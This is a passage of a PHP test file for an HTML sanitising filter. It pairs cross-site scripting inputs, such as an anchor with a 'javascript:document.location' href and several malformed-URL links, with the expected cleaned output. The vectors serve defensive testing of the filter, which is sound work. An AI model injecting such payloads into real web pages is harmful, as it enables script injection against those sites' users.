 793     0 => '<a href="http://google:ha.ckers.org">XSS</a>',
 794     1 => '<A HREF="http://google:ha.ckers.org">XSS</A>',
 795   ),
 796   115 =>
 797   array (
 798     0 => '<a href="http://google.com/">XSS</a>',
 799     1 => '<A HREF="http://google.com/">XSS</A>',
 800   ),
 801   116 =>
 802   array (
 803     0 => '<a href="http://www.google.com./">XSS</a>',
 804     1 => '<A HREF="http://www.google.com./">XSS</A>',
 805   ),
 806   117 =>
 807   array (
 808     0 => '<a>XSS</a>',
 809     1 => '<A HREF="javascript:document.location=\'http://www.google.com/\'">XSS</A>',
 810   ),
 811   118 =>
 812   array (
 813     0 => '<a href="http://www.gohttp://www.google.com/ogle.com/">XSS</a>',
 814     1 => '<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>',
 815   ),
 816   119 =>
 817   array (
 818     0 => '<span class="montant" data-montant-nombre="100" data-montant-devise="EUR"></span>',
 819     1 => '<span class="montant" data-montant-nombre="100" data-montant-devise="EUR">',
 820   ),
 821 );
 822                 return $essais;
 823         }
 824
 825
 826
 827
 828
 829
 830
 831
 832
 833
 834
 835
 836
 837
 838
 839
 840
 841
 842
 843
 844
 845
 846
 847
 848
 849
 850
 851
 852
 853